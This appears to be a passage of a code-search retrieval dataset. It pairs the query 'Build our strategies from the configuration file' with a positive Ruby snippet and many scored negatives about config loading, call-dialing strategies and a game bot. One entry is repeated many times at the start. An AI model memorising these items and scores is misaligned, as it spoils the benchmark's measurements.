"0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" } ]
7e682460d654777b82a888d109882afa
Build our strategies from the configuration file
[ { "docid": "4673014877f0f0407499282c35ec5cd4", "score": "0.6311587", "text": "def build_strategies\n @dial_strategies = Array.new\n @config[\"dial_strategies\"].each do |strategy|\n instructions = \"send_dtmf=\" + strategy[\"send_dtmf\"].to_s\n instructions = instructions + \"|before_delay=\" + strategy[\"before_delay\"].to_s\n instructions = instructions + \"|after_delay=\" + strategy[\"after_delay\"].to_s\n instructions = instructions + \"|message=\" + strategy[\"message\"]\n\n if strategy[\"call_length\"] == 'random'\n instructions = instructions + \"|call_length=\" + rand(@config[\"max_random_call_length\"]).to_s\n else\n instructions = instructions + \"|call_length=\" + strategy[\"call_length\"].to_s\n end\n\n @dial_strategies << { :instructions => instructions,\n :callerid => strategy[\"callerid\"],\n :number => strategy[\"number\"],\n :profile => strategy[\"profile\"].to_i - 1 }\n end\n end", "title": "" } ]
[ { "docid": "17a0b3e7986320f67436ea286d8357c4", "score": "0.6145646", "text": "def load_strategies_from(dir_name)\n glob_exprs = [File.join(\"#{dir_name}**/**\", \"*.str\"), File.join(\"#{dir_name}**/**\", \"*.str.rb\")]\n glob_exprs.each do |expr|\n Dir.glob(expr).entries.each do |f|\n rel_path = File.split(f)[0]\n # slice twice to cover strategies at top level and nested strategies both\n rel_path.slice! (dir_name)\n rel_path.slice! (File::SEPARATOR)\n rel_path = rel_path.gsub(File::SEPARATOR, \".\") + \".\" if !rel_path.empty? \n\n set_relative_path(rel_path)\n eval(File.read(f), get_binding)\n end\n end\n end", "title": "" }, { "docid": "52a47dbe1bb48697704bca74649ad2b1", "score": "0.5520333", "text": "def default_strategies(*strategies)\n if strategies.empty?\n @config[:default_strategies]\n else\n @config[:default_strategies] = strategies.flatten\n end\n end", "title": "" }, { "docid": "29c7d1b84d8ec67bfaee8161a509bc94", "score": "0.5511196", "text": "def initialize(strategy, config)\n @strategy, @config = strategy, config\n @list = strategy.list config\n end", "title": "" }, { "docid": "659573aebe6300ab6797a310a990087b", "score": "0.54990983", "text": "def startStrategies\r\n\t\t@match_strategy = MatchStrategy.new(self)\r\n\t\t@change_strategy = ChangeSubjectStrategy.new(self)\r\n\t\t@question_strategy = QuestionStrategy.new(self)\r\n\tend", "title": "" }, { "docid": "9832f8afcce40a46f60c9d7064703f6e", "score": "0.54682887", "text": "def providers\n before = ObjectSpace.each_object(Class).to_a\n filter_dir_contents(read_dir_contents).each { |f| require f }\n after = ObjectSpace.each_object(Class).to_a\n classes = (after - before).select { |c| c <= ProviderStrategy }\n @strategies.concat(classes.map(&:new))\n end", "title": "" }, { "docid": "e060787757dde7f71a62fd7f1ece3f88", "score": "0.5439753", "text": "def loadConfigurationFiles\n baseDirectory = 'configuration'\n\n mainDirectory = 'Configuration'\n customDirectory = 'myConfiguration'\n\n mainPath = Nil.joinPaths(baseDirectory, mainDirectory)\n customPath = Nil.joinPaths(baseDirectory, customDirectory)\n\n targets = Nil.readDirectory(mainPath)\n targets = targets.map{|x| ConfigurationEntry.new(x)}\n\n priorityFiles =\n [\n #need to make an exception for the User.rb here because it needs to get included first\n ['User', 2],\n ['Torrent', 1],\n ]\n\n priorityFiles.each do |name, priority|\n name = \"#{name}.rb\"\n targets.each do |entry|\n if entry.target.name == name\n entry.priority = priority\n break\n end\n end\n end\n\n targets.sort!\n\n targets.each do |entry|\n target = entry.target\n customPath = Nil.joinPaths(customPath, target.name)\n if File.exists?(customPath)\n require customPath\n else\n require target.path\n end\n end\nend", "title": "" }, { "docid": "f0aee85194ff5269be62a4aee1c58e48", "score": "0.5425055", "text": "def load(options = {})\n @provider_dir = Path.provider\n\n # load base\n @base_services = load_all_json(Path.named_path([:service_config, '*'], Path.provider_base), Config::Tag)\n @base_tags = load_all_json(Path.named_path([:tag_config, '*'], Path.provider_base), Config::Tag)\n @base_common = load_json( Path.named_path(:common_config, Path.provider_base), Config::Object)\n @base_provider = load_json( Path.named_path(:provider_config, Path.provider_base), Config::Provider)\n\n # load provider\n @nodes = load_all_json(Path.named_path([:node_config, '*'], @provider_dir), Config::Node)\n @common = load_json( Path.named_path(:common_config, @provider_dir), Config::Object)\n @secrets = load_json( Path.named_path(:secrets_config, @provider_dir), Config::Secrets)\n @common.inherit_from! @base_common\n\n # For the default environment, load provider services, tags, and provider.json\n log 3, :loading, 'default environment...'\n env('default') do |e|\n e.services = load_all_json(Path.named_path([:service_config, '*'], @provider_dir), Config::Tag, :no_dots => true)\n e.tags = load_all_json(Path.named_path([:tag_config, '*'], @provider_dir), Config::Tag, :no_dots => true)\n e.provider = load_json( Path.named_path(:provider_config, @provider_dir), Config::Provider, :assert => true)\n e.services.inherit_from! @base_services\n e.tags.inherit_from! @base_tags\n e.provider.inherit_from! @base_provider\n validate_provider(e.provider)\n end\n\n # create a special '_all_' environment, used for tracking the union\n # of all the environments\n env('_all_') do |e|\n e.services = Config::ObjectList.new\n e.tags = Config::ObjectList.new\n e.provider = Config::Provider.new\n e.services.inherit_from! env('default').services\n e.tags.inherit_from! env('default').tags\n e.provider.inherit_from! env('default').provider\n end\n\n # For each defined environment, load provider services, tags, and provider.json.\n environment_names.each do |ename|\n next unless ename\n log 3, :loading, '%s environment...' % ename\n env(ename) do |e|\n e.services = load_all_json(Path.named_path([:service_env_config, '*', ename], @provider_dir), Config::Tag, :env => ename)\n e.tags = load_all_json(Path.named_path([:tag_env_config, '*', ename], @provider_dir), Config::Tag, :env => ename)\n e.provider = load_json( Path.named_path([:provider_env_config, ename], @provider_dir), Config::Provider, :env => ename)\n e.services.inherit_from! env('default').services\n e.tags.inherit_from! env('default').tags\n e.provider.inherit_from! env('default').provider\n validate_provider(e.provider)\n end\n end\n\n # apply inheritance\n @nodes.each do |name, node|\n Util::assert! name =~ /^[0-9a-z-]+$/, \"Illegal character(s) used in node name '#{name}'\"\n @nodes[name] = apply_inheritance(node)\n end\n\n # do some node-list post-processing\n cleanup_node_lists(options)\n\n # apply control files\n @nodes.each do |name, node|\n control_files(node).each do |file|\n begin\n node.eval_file file\n rescue ConfigError => exc\n if options[:continue_on_error]\n exc.log\n else\n raise exc\n end\n end\n end\n end\n end", "title": "" }, { "docid": "1bef16bef17b26453bc3b5a36fbd018f", "score": "0.5382108", "text": "def initStrategy\n if @game == GAME_C4 \n @strategy = C4Strategy.new self\n elsif @game == GAME_OTTO\n @strategy = OttoStrategy.new self\n end\n end", "title": "" }, { "docid": "316622571b7a3fce1f28985726be3497", "score": "0.52523065", "text": "def resolve\n options[:rootpath] ||= Pathname.pwd\n options[:rootpath] = Pathname.new(options[:rootpath])\n options[:encryption_key] = resolve_encryption_key(options[:encryption_key])\n options[:decryption_key] = resolve_decryption_key(options[:decryption_key])\n options[:namespaces] ||= []\n options[:preset] ||= resolve_preset\n\n if %w{rails rails-engine}.include?(options[:preset])\n if options[:preset] == 'rails-engine'\n engine_spec_dummy_directory = options[:rootpath] + 'spec' + 'dummy'\n engine_test_dummy_directory = options[:rootpath] + 'test' + 'dummy'\n\n options[:rootpath] = if (engine_spec_dummy_directory + 'config.ru').exist?\n engine_spec_dummy_directory\n elsif (engine_test_dummy_directory + 'config.ru').exist?\n engine_test_dummy_directory\n end\n end\n\n options[:basepath] ||= options[:rootpath] + 'config'\n\n if options[:namespaces] == []\n require options[:rootpath].join('config', 'application').to_s\n\n options[:namespaces] = [\n ::Rails.env,\n Socket.gethostname,\n ]\n end\n else\n options[:basepath] ||= options[:rootpath]\n end\n\n options[:basepath] = Pathname.new(options[:basepath])\n\n options[:files] ||= [\n options[:basepath] + 'settings*.yml',\n options[:basepath] + 'settings',\n ]\n\n options\n rescue LoadError\n options\n end", "title": "" }, { "docid": "098f32cac7de3c18c1cb666446e2d504", "score": "0.5248499", "text": "def configure_from_options\n if @options[:config]\n config = Configuration.new(@path, @options[:config])\n config.from_options\n end\n end", "title": "" }, { "docid": "732e3f01cec114ca150ded60727f0273", "score": "0.52003497", "text": "def initialize(file = File.join(RAILS_ROOT, \"config\", \"jestures.rb\"))\n @jestures = {}\n @combos = {}\n self.instance_eval(File.read(file))\n end", "title": "" }, { "docid": "bf48e55daffea00d087cc4d1b88e20c7", "score": "0.5171296", "text": "def build_config\n file = [options[:config_file], DEFAULT_CONFIG_FILE_LOCATION].\n compact.find {|f| File.exists?(f) }\n\n hash =\n if file\n YAML.load_file(file).each do |key, value|\n stderr.puts(\"Warn: Unknown key in config file: #{key}\") unless\n self.class.configs.find {|opt| opt.first.to_s == key.to_s }\n end\n else\n {}\n end\n\n options[:config_option].map {|str| str.split('=') }.\n inject(hash) {|m, (k,v)| m.merge(k.to_sym => v) }\n end", "title": "" }, { "docid": "84261ab8a3baa4e8e270dc25f048a3c4", "score": "0.51572484", "text": "def init_strategy\n if self.game == GAME_C4 \n @strategy = C4Strategy.new self\n elsif self.game == GAME_OTTO\n @strategy = OttoStrategy.new self\n end\n postcondition do\n raise \"Strategy not initialized.\" if @strategy.nil?\n end\n end", "title": "" }, { "docid": "834a0d29e35bd0d64a8ab868fbea9f8e", "score": "0.5147579", "text": "def load_options\n # step: we iterate each of the options file and load them\n begin \n @config[:files].each do |filename|\n Logger.info 'load_options: loading the file: %s' % [ filename ]\n loader = DSLLoader.load filename\n # check: we need to validation the parsed options aginst anything we already have\n loader = validate_rules loader, filename\n # step: add the parsed entried into the collected items\n end\n # step: all the files have been loaded, we do need to perform some post analysis tho and linking\n Logger.debug 'load_options: perform post linking and validation'\n # notes: we need to make sure all the commands options and validations exists and link them for ease\n @rules.commands.each_pair do |name,command|\n Logger.debug \"load_options: processing the command: #{name}\"\n # step: iterate each of the inputs\n command.inputs.each_pair do |input_name,input|\n ## Validations ===\n unless @rules.validation? input.validation\n raise ArgumentError, \"command: '%s' has validation: '%s' but the validation does not exist\" % [ input_name, input.validation ]\n end\n # step: lets link the validation into the input\n input.validation @rules.validations[input.validation]\n ## Options ===\n unless @rules.option? input.options\n raise ArgumentError, \"command: '%s' has options: '%s' but the options does not exist\" % [ input_name, input.options ] \n end\n input.options @rules.options[input.options]\n end\n end\n rescue Exception => e \n Logger.error 'load_options: unable to load the options dsl, error: %s' % [ e.message ]\n raise Exception, e.message\n end\n end", "title": "" }, { "docid": "957257910d3449ea4914d5654440ffc6", "score": "0.51419383", "text": "def default_strategies(*strategies)\n if strategies.empty?\n self[:default_strategies]\n else\n self[:default_strategies] = strategies.flatten\n end\n end", "title": "" }, { "docid": "5dc66501c9348e9c2d6433eb73cd7775", "score": "0.5127125", "text": "def resolve_config(**attrs)\n config = config_defaults.merge(attrs.transform_keys(&:to_s))\n file_path = File.join(config['root'], config['config_path'])\n file_config = config_from_file(file_path, mode: config['mode'])\n new DEFAULT_CONFIG.merge(file_config).merge(config_from_env).merge(config)\n end", "title": "" }, { "docid": "fb48968377d4f21cff318420452c3901", "score": "0.5086391", "text": "def build \n configure_directories\n \n @spec['collision'] = 'destroy'\n \n \n jobs = []\n \n # Recon\n recon_options = {'rawdir' => @rawdir, 'epi_pattern' => /(Rest|Task)/i, }\n config_step_method(recon_options, 'recon') if @config['custom_methods']\n jobs << ReconJobGenerator.new(recon_options).build\n \n # Preproc\n preproc_options = {'scans' => jobs.first['scans']}\n config_step_method(preproc_options, 'preproc') if @config['custom_methods']\n jobs << PreprocJobGenerator.new(preproc_options).build\n \n # Stats\n stats_options = {\n 'scans' => jobs.first['scans'],\n 'conditions' => @config['conditions'],\n 'responses_dir' => @config['responses_dir'],\n 'subid' => @spec['subid']\n }\n config_step_method(stats_options, 'stats') if @config['custom_methods']\n jobs << StatsJobGenerator.new(stats_options).build\n \n @spec['jobs'] = jobs\n \n return @spec\n end", "title": "" }, { "docid": "005e6fc140cba1f79535dcb415d4bcd9", "score": "0.50789464", "text": "def strategy; end", "title": "" }, { "docid": "a84cca8ba74ecb2a9dad9decb9be9520", "score": "0.50730795", "text": "def load\n @provider_dir = Path.provider\n\n # load base\n base_services = load_all_json(Path.named_path([:service_config, '*'], Path.provider_base))\n base_tags = load_all_json(Path.named_path([:tag_config, '*'], Path.provider_base))\n base_common = load_json(Path.named_path(:common_config, Path.provider_base))\n base_provider = load_json(Path.named_path(:provider_config, Path.provider_base))\n\n # load provider\n provider_path = Path.named_path(:provider_config, @provider_dir)\n common_path = Path.named_path(:common_config, @provider_dir)\n Util::assert_files_exist!(provider_path, common_path)\n @services = load_all_json(Path.named_path([:service_config, '*'], @provider_dir))\n @tags = load_all_json(Path.named_path([:tag_config, '*'], @provider_dir))\n @nodes = load_all_json(Path.named_path([:node_config, '*'], @provider_dir))\n @common = load_json(common_path)\n @provider = load_json(provider_path)\n @secrets = load_json(Path.named_path(:secrets_config, @provider_dir))\n\n # inherit\n @services.inherit_from! base_services\n @tags.inherit_from! base_tags\n @common.inherit_from! base_common\n @provider.inherit_from! base_provider\n @nodes.each do |name, node|\n @nodes[name] = apply_inheritance(node)\n end\n\n # validate\n validate_provider(@provider)\n end", "title": "" }, { "docid": "66133d0d85b58c7b9e2937564938fbc3", "score": "0.50718224", "text": "def infer_config(*args)\n config.gateways = ROM::OpenStruct.new\n\n gateways_config = args.first.is_a?(Hash) ? args.first : {default: args}\n\n gateways_config.each do |name, value|\n args = Array(value)\n\n adapter, *rest = args\n\n options =\n if rest.size > 1 && rest.last.is_a?(Hash)\n {adapter: adapter, args: rest[0..], **rest.last}\n else\n options = rest.first.is_a?(Hash) ? rest.first : {args: rest.flatten(1)}\n {adapter: adapter, **options}\n end\n\n config.gateways[name] = ROM::OpenStruct.new(options)\n end\n end", "title": "" }, { "docid": "0e1a3c40468ef0de9781c6799fc286a5", "score": "0.50533795", "text": "def build!\n set1.each do | target , options |\n candidate =\n Candidate.new \\\n target,\n *( options.first.is_a?( Array ) ? options : [ options ] )\n\n candidates.push candidate\n candidate_set1[ target ] = candidate\n end\n\n set2.each do | target , options |\n candidate =\n Candidate.new \\\n target,\n *( options.first.is_a?( Array ) ? options : [ options ] )\n\n candidates.push candidate\n candidate_set2[ target ] = candidate\n end\n\n candidate_set1.each do | target , candidate |\n candidate.preferences =\n candidate.raw_preferences.map { | preference_target | candidate_set2[ preference_target ] }\n end\n\n candidate_set2.each do | target , candidate |\n candidate.preferences =\n candidate.raw_preferences.map { | preference_target | candidate_set1[ preference_target ] }\n end\n\n # We've built the candidates\n self.built = true\n end", "title": "" }, { "docid": "38810f93e7e583ed9b0725197ceab190", "score": "0.50082713", "text": "def build(keyword, config)\n strategy_class = self.create_oauth_strategy_class(keyword)\n self.register_oauth_strategy_class(keyword, strategy_class)\n self.set_oauth_service_info(strategy_class, config)\n # adding the access_token_user_finder to the strategy\n if self.access_token_user_finders.include?(keyword)\n strategy_class.access_token_user_finder(&self.access_token_user_finders[keyword])\n end\n end", "title": "" }, { "docid": "a6ae2f1b46a5c35828089303aeaafc41", "score": "0.5004939", "text": "def load\n if File.exist?(@base_file)\n string = File.read(@base_file)\n obj = JSON.parse(string)\n else\n obj = {\n \"target\" => {},\n \"tester\" => {\n \"software\" => \"dolphin\",\n \"version\" => 0.1,\n },\n \"human\" => \"anonymous coward\"\n }\n end\n @config = HashTree[obj]\n\n if File.exist?(@completions_file)\n string = File.read(@completions_file)\n obj = JSON.parse(string)\n else\n obj = []\n end\n @completions = Set.new(obj)\n\n # in case there were manual edits to the file,\n # do completions\n @config.traverse do |node|\n self.add_terms(node.keys)\n node.values.each do |v|\n if v.is_a? String\n self.add_terms(v)\n end\n end\n end\n\n @config.each_path do |path|\n self.add_terms(path.join(\".\"))\n end\n end", "title": "" }, { "docid": "60f7621b1ab2a07b41d8458af0530473", "score": "0.5002929", "text": "def load_config(filename)\n yml = YAML.load_file(filename)\n yml.each do |key, value| \n next if key == 'Templates'\n\n if key == 'PackageDirs'\n # PackageDirs.register value\n elsif key == 'AppDirs' \n # ApplicationDirMatcher.register value\n else\n app_matcher.register value\n end \n end\n end", "title": "" }, { "docid": "6c59d71affeadc91da5d261eaaae6ae3", "score": "0.498592", "text": "def build(name, *traits_and_overrides, &block)\n FactoryRunner.new(name, Strategy::Build, traits_and_overrides).run(&block)\n end", "title": "" }, { "docid": "04c6e6c32f2950534be7c809cfea2e33", "score": "0.49817237", "text": "def load(config_file = DEFAULTS[:config_file])\n user_config_params = {}\n dirname = Dir.pwd\n if File.exists?(File.expand_path(config_file, Dir.pwd))\n begin\n config_file_path = File.expand_path config_file, Dir.pwd\n user_config_params = Psych.load(File.open(config_file_path))\n dirname = File.dirname config_file_path\n rescue ArgumentError => e\n raise Nimbus::WrongFormatFileError, \"It was not posible to parse the config file (#{config_file}): \\r\\n#{e.message} \"\n end\n end\n\n if user_config_params['input']\n @training_file = File.expand_path(user_config_params['input']['training'], dirname) if user_config_params['input']['training']\n @testing_file = File.expand_path(user_config_params['input']['testing' ], dirname) if user_config_params['input']['testing']\n @forest_file = File.expand_path(user_config_params['input']['forest' ], dirname) if user_config_params['input']['forest']\n @classes = user_config_params['input']['classes'] if user_config_params['input']['classes']\n else\n @training_file = File.expand_path(DEFAULTS[:training_file], Dir.pwd) if File.exists? File.expand_path(DEFAULTS[:training_file], Dir.pwd)\n @testing_file = File.expand_path(DEFAULTS[:testing_file ], Dir.pwd) if File.exists? File.expand_path(DEFAULTS[:testing_file ], Dir.pwd)\n @forest_file = File.expand_path(DEFAULTS[:forest_file ], Dir.pwd) if File.exists? File.expand_path(DEFAULTS[:forest_file ], Dir.pwd)\n end\n\n @do_training = true unless @training_file.nil?\n @do_testing = true unless @testing_file.nil?\n @classes = @classes.map{|c| c.to_s.strip} if @classes\n\n if @do_testing && !@do_training && !@forest_file\n raise Nimbus::InputFileError, \"There is not random forest data (training file not defined, and forest file not found).\"\n end\n\n if user_config_params['forest']\n @forest_size = user_config_params['forest']['forest_size'].to_i if user_config_params['forest']['forest_size']\n @tree_SNP_total_count = user_config_params['forest']['SNP_total_count'].to_i if user_config_params['forest']['SNP_total_count']\n @tree_SNP_sample_size = user_config_params['forest']['SNP_sample_size_mtry'].to_i if user_config_params['forest']['SNP_sample_size_mtry']\n @tree_node_min_size = user_config_params['forest']['node_min_size'].to_i if user_config_params['forest']['node_min_size']\n @do_importances = user_config_params['forest']['var_importances'].to_s.strip.downcase\n @do_importances = (@do_importances != 'no' && @do_importances != 'false')\n end\n\n check_configuration\n log_configuration\n end", "title": "" }, { "docid": "3280d9b98a772e69538ad2441e2d0583", "score": "0.49807426", "text": "def load config\n \n # TODO better place for this?\n if config['log4r_config']\n ycfg = Log4r::YamlConfigurator\n # ycfg['foo'] = bar # replaces instances of #{foo} in the YAML with bar\n ycfg.load_yaml_string(YAML.dump(config))\n end\n \n # gah - log4r expects strings, so only convert to symbols here\n config.keys_to_symbols!\n \n # load all scrapers, and mix all shared fields into them\n config[:scrapers].each_pair do |group, included|\n \n shared_setup = {}\n scraper_setups = {}\n \n # load setups\n included.each_pair do |key, value|\n target = if is_scraper?(key)\n logger.info \"Loading scraper #{group}::#{key}\"\n scraper_setups\n else\n shared_setup\n end\n\n target[key] = value\n end\n \n # create each scraper when whole setup is present\n scrapers[group] = setup_scrapers(scraper_setups, shared_setup);\n end if config[:scrapers]\n end", "title": "" }, { "docid": "c4c9b2bdb83350915227a351a22ddf27", "score": "0.49700397", "text": "def initialize(strategy)\n @strategy = strategy\n end", "title": "" }, { "docid": "d50c32a8353fb9e7bad826483c0dfb5c", "score": "0.4969467", "text": "def find_config(file); end", "title": "" }, { "docid": "f94673ce0d15517fcc2c1675f13f5cf0", "score": "0.4956828", "text": "def for_file(file_path)\n directory = File.dirname(file_path)\n @dir_to_config ||= {}\n @dir_to_config[directory] ||=\n begin\n config_file = possible_config_files(directory).find { |path| path.file? }\n Config.load(config_file.to_s) if config_file\n end\n end", "title": "" }, { "docid": "40467c7cba9dc1e40b4193df30076301", "score": "0.49562952", "text": "def initialize(config_file=nil)\n @config_file = config_file\n @params = {}\n @groups = []\n \n if(self.config_file)\n self.validate_config()\n self.import_config()\n end\n end", "title": "" }, { "docid": "eaa0c79a26779dacec6d06b94d491582", "score": "0.49557588", "text": "def execute_strategies\n COMPONENTS.hammer[:treatment_strategies].each do |treatment_strategy|\n\n strategy_name = nil\n treatment_strategy.each_key {|key| strategy_name = key}\n treatment_strategy.each_value {|value| treatment_strategy = value}\n\n #Find the correct dial sequence to use for the strategy\n dial_strategy = nil\n COMPONENTS.hammer[:dial_strategies].each do |strategy|\n if strategy.key?(treatment_strategy[:dial])\n dial_strategy = strategy\n end\n end\n \n result = launch_call(strategy_name, treatment_strategy, dial_strategy)\n\n if COMPONENTS.hammer[:common][:delay_between_calls] == 'random'\n sleep rand(COMPONENTS.hammer[:common][:max_random_between_calls])\n else\n sleep COMPONENTS.hammer[:common][:delay_between_calls]\n end\n end\n end", "title": "" }, { "docid": "084b309835ea42db6f8fb60af87191a8", "score": "0.49531183", "text": "def configure\n load_all_configs \n end", "title": "" }, { "docid": "e36461cbf8e04d8bc042e7b40d404ae4", "score": "0.493777", "text": "def configuration_from_options(options); end", "title": "" }, { "docid": "49563229f92e6e043b04c4fcd220a98b", "score": "0.4933742", "text": "def initialize\n configure_via_yaml\n configure_via_env\n end", "title": "" }, { "docid": "ae4ced89672a65b11d81cb8d380a0a5b", "score": "0.49260437", "text": "def initialize_strategy\n main_position = player.command_centers.first.position\n _, *unscouted_bases = BWTA.start_locations.to_a.map(&:position).sort do |a, b|\n main_position.getDistance(b) <=> main_position.getDistance(a)\n end.reverse\n overlord_target = nil\n\n #Basic Strategy:\n strategy_step \"Every idle worker should mine\" do\n precondition { player.workers.any? &:idle? }\n\n postcondition { false } #this step should be repeated\n\n order do\n center = player.command_centers.first\n\n minerals = state.units.values.select{|u| u.type.mineral_field? }.sort do |a, b|\n b.distance(center) <=> a.distance(center)\n end\n\n player.workers.select(&:idle?).each do |worker|\n worker.mine(minerals.pop)\n end\n end\n end\n\n #When there is less than 5 supply and a spawning pool does not exist, a drone should be spawned\n strategy_step \"Spawn a drone\" do\n precondition { player.minerals >= 50 && player.supply_used < 10 }\n\n postcondition { false } #this step should be repeated\n\n order { spawn UnitType.Zerg_Drone }\n end\n\n #When there is not enough supply an overlord should be spawned\n strategy_step \"Spawn an overlord\" do\n precondition { player.minerals >= 100 && player.supply_total <= player.supply_used && player.larva_available? } #not smart\n\n progresscondition { player.units.values.any? {|unit| unit.has_order? \"Spawn Overlord\" } }\n\n postcondition { false }#this step should be repeated\n\n order { spawn UnitType.Zerg_Overlord }\n end\n\n strategy_step \"Early overlord scout\" do\n overlord = nil\n target = nil\n\n precondition do\n overlords = player.get_all_by_unit_type(UnitType.Zerg_Overlord)\n if overlords.count == 1\n overlord = overlords.first\n target = unscouted_bases.shift\n overlord_target = target\n true\n end\n end\n\n progresscondition { overlord && target }\n\n postcondition { overlord.position == target if overlord }\n\n order { overlord.move(target) if overlord }\n end\n\n strategy_step \"Drone scout\" do\n drone_scout = nil\n target = nil\n\n precondition do\n if player.get_all_by_unit_type(UnitType.Zerg_Spawning_Pool).count > 0 && target = unscouted_bases.shift\n drone_scout = player.workers.first\n true\n end\n end\n\n order do\n # TODO why is if drone_scout necessary?\n drone_scout.move(target) if drone_scout\n end\n end\n\n #At 5 supply, 200 minerals a spawning pool should be made\n strategy_step \"Make a spawning pool at 5 supply\" do\n precondition { player.minerals > 200 && player.supply_total >= 10 }\n\n postcondition { player.units.values.any? {|u| u.type == UnitType.Zerg_Spawning_Pool} }\n\n progresscondition { player.units.values.any? {|u| u.has_order? \"Build SpawningPool\" } }\n\n order do\n player.workers.first.build(UnitType.Zerg_Spawning_Pool, build_location(UnitType.Zerg_Spawning_Pool))\n end\n end\n\n #When there is a spawning pool and enough minerals and supply, a zergling should be made\n strategy_step \"Make zerglings\" do\n precondition { player.minerals > 50 && player.supply_left >= 2 && player.larva_available? }\n\n precondition { player.get_all_by_unit_type(UnitType.Zerg_Spawning_Pool).count > 0 }\n\n postcondition { false } #this step should be repeated\n\n order do\n while (player.minerals > 50 && player.supply_left >= 2 && player.larva_available?) do\n spawn UnitType.Zerg_Zergling #spawn many zerglings in one frame\n end\n end\n end\n\n strategy_step \"Move in!\" do\n precondition { zerglings.count >= 1 && enemy.units.count == 0 }\n\n postcondition { false }\n\n order do\n target = unscouted_bases.shift || overlord_target\n\n zerglings.each do |z|\n puts \"Ordering zerglings to move\"\n z.move(target)\n end\n end\n end\n\n #When there are 5 zerglings, they should attack\n strategy_step \"Attack!\" do\n precondition { zerglings.count >= 5 && enemy.units.count > 0 }\n\n postcondition { false } #just keep on doin' it\n\n order do \n puts \"Ordering zerglings to attack\"\n zerglings.each { |z| attack_nearest_enemy(z) }\n end\n end\n end", "title": "" }, { "docid": "59880b96130c92a6386753438a5f8d92", "score": "0.4915254", "text": "def resolve\n options[:rootpath] ||= Pathname.pwd\n options[:rootpath] = Pathname.new(options[:rootpath])\n options[:namespaces] ||= []\n options[:preset] ||= resolve_preset\n\n if %w{rails rails-engine}.include?(options[:preset])\n options[:rootpath] = detect_engine_root if options[:preset] == 'rails-engine'\n options[:namespaces] = load_rails_default_namespaces(options[:rootpath]) if options[:namespaces] == []\n options[:basepath] ||= options[:rootpath] + 'config'\n else\n options[:basepath] ||= options[:rootpath]\n end\n\n options[:namespaces] = resolve_namespaces(options[:namespaces])\n options[:encryption_keys] = Keys::Encryption.resolve(filenames: options[:encryption_keys],\n namespaces: options[:namespaces],\n rootpath: options[:rootpath])\n options[:decryption_keys] = Keys::Decryption.resolve(filenames: options[:decryption_keys],\n namespaces: options[:namespaces],\n rootpath: options[:rootpath])\n options[:basepath] = Pathname.new(options[:basepath])\n options[:files] ||= [\n options[:basepath] + 'settings*.yml',\n options[:basepath] + 'settings',\n ]\n\n options[:signature_name] = options[:signature_name]\n\n options\n end", "title": "" }, { "docid": "16ddddc822de2ca249f67c63dcd52c48", "score": "0.491224", "text": "def _run_strategies_for(scope, args) #:nodoc:\n self.winning_strategy = @winning_strategies[scope]\n return if winning_strategy && winning_strategy.halted?\n\n # Do not run any strategy if locked\n return if @locked\n\n if args.empty?\n defaults = @config[:default_strategies]\n strategies = defaults[scope] || defaults[:_all]\n end\n\n (strategies || args).each do |name|\n strategy = _fetch_strategy(name, scope)\n next unless strategy && !strategy.performed? && strategy.valid?\n\n self.winning_strategy = @winning_strategies[scope] = strategy\n strategy._run!\n break if strategy.halted?\n end\n end", "title": "" }, { "docid": "d3d4489e3fdbe4842f9f68e51196ea51", "score": "0.49119017", "text": "def _fetch_strategy(name, scope)\n @strategies[scope][name] ||= if klass = Watchman::Strategies[name]\n klass.new(@env, scope)\n elsif @config.silence_missing_strategies?\n nil\n else\n raise \"Invalid strategy #{name}\"\n end\n end", "title": "" }, { "docid": "83485b394d88aac875ce97f4dabef410", "score": "0.4907756", "text": "def factory_strategy; end", "title": "" }, { "docid": "f740693f2ad6e83870e7462b6b90ebd7", "score": "0.48999128", "text": "def config_build config_file, config_vars={}, parse=false\n @logger.debug \"Using config file #{config_file}.\"\n validate_file_input(config_file, \"config\")\n if config_vars.length > 0 or parse or contains_liquid(config_file)\n @logger.debug \"Config_vars: #{config_vars.length}\"\n # If config variables are passed on the CLI, we want to parse the config file\n # and use the parsed version for the rest fo this routine\n config_out = \"#{@build_dir}/pre/#{File.basename(config_file)}\"\n vars = DataObj.new()\n 